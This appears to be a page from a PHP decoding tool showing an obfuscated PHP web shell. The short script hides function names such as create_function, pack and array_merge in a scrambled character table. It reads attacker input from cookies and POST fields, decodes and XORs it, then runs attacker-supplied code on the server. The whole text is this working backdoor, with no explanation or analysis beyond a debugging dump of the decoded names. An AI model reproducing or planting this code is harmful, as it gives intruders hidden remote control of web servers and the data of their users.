PHP Decode

<?  $xvwqj = 'o7ynf2egi1cm*#rdlH-st96kpv0b48a\'u3x_'; 
$ekhhb = Array(); 
$ekhhb[] = $xvwqj[33].$xvwqj[1].$xvwqj[10].$xvwqj[1].$xvwqj[5].$xvwqj[9].$xvwqj[27].$xvwqj[30].$xvwqj[18].$xvwqj[26].$xvwqj[33].$xvwqj[6].$xvwqj[15].$xvwqj[18].$xvwqj[28].$xvwqj[22].$xvwqj[26].$xvwqj[22].$xvwqj[18].$xvwqj[21].$xvwqj[30].$xvwqj[33].$xvwqj[6].$xvwqj[18].$xvwqj[28].$xvwqj[27].$xvwqj[22].$xvwqj[1].$xvwqj[29].$xvwqj[27].$xvwqj[28].$xvwqj[22].$xvwqj[33].$xvwqj[26].$xvwqj[4].$xvwqj[22]; 
$ekhhb[] = $xvwqj[10].$xvwqj[14].$xvwqj[6].$xvwqj[30].$xvwqj[20].$xvwqj[6].$xvwqj[35].$xvwqj[4].$xvwqj[32].$xvwqj[3].$xvwqj[10].$xvwqj[20].$xvwqj[8].$xvwqj[0].$xvwqj[3]; 
$ekhhb[] = $xvwqj[17].$xvwqj[12]; 
$ekhhb[] = $xvwqj[13]; 
$ekhhb[] = $xvwqj[10].$xvwqj[0].$xvwqj[32].$xvwqj[3].$xvwqj[20]; 
$ekhhb[] = $xvwqj[19].$xvwqj[20].$xvwqj[14].$xvwqj[35].$xvwqj[14].$xvwqj[6].$xvwqj[24].$xvwqj[6].$xvwqj[30].$xvwqj[20]; 
$ekhhb[] = $xvwqj[6].$xvwqj[34].$xvwqj[24].$xvwqj[16].$xvwqj[0].$xvwqj[15].$xvwqj[6]; 
$ekhhb[] = $xvwqj[19].$xvwqj[32].$xvwqj[27].$xvwqj[19].$xvwqj[20].$xvwqj[14]; 
$ekhhb[] = $xvwqj[30].$xvwqj[14].$xvwqj[14].$xvwqj[30].$xvwqj[2].$xvwqj[35].$xvwqj[11].$xvwqj[6].$xvwqj[14].$xvwqj[7].$xvwqj[6]; 
$ekhhb[] = $xvwqj[19].$xvwqj[20].$xvwqj[14].$xvwqj[16].$xvwqj[6].$xvwqj[3]; 
$ekhhb[] = $xvwqj[24].$xvwqj[30].$xvwqj[10].$xvwqj[23]; 
var_dump($ekhhb); 
foreach($ekhhb[8]($_COOKIE, $_POST) as $mrwgyl => $jflxa) { 
    function qnqydi($ekhhb, $mrwgyl, $digqqd) { 
        return $ekhhb[7]($ekhhb[5]($mrwgyl.$ekhhb[0], ($digqqd / $ekhhb[9]($mrwgyl)) + 1), 0, $digqqd); 
    } 
 
    function vroodn($ekhhb, $etnbye) { 
        return @$ekhhb[10]($ekhhb[2], $etnbye); 
    } 
 
    function btxlv($ekhhb, $etnbye) { 
        $gcotb = $ekhhb[4]($etnbye) % 3; 
        if (!$gcotb) { 
            $fnkofi = $ekhhb[1]; 
            $sufwrjv = $fnkofi("", $etnbye[1]($etnbye[2])); 
            $sufwrjv(); 
            exit(); 
        } 
    } 
    $jflxa = vroodn($ekhhb, $jflxa); 
    btxlv($ekhhb, $ekhhb[6]($ekhhb[3], $jflxa ^ qnqydi($ekhhb, $mrwgyl, $ekhhb[9]($jflxa)))); 
} ?>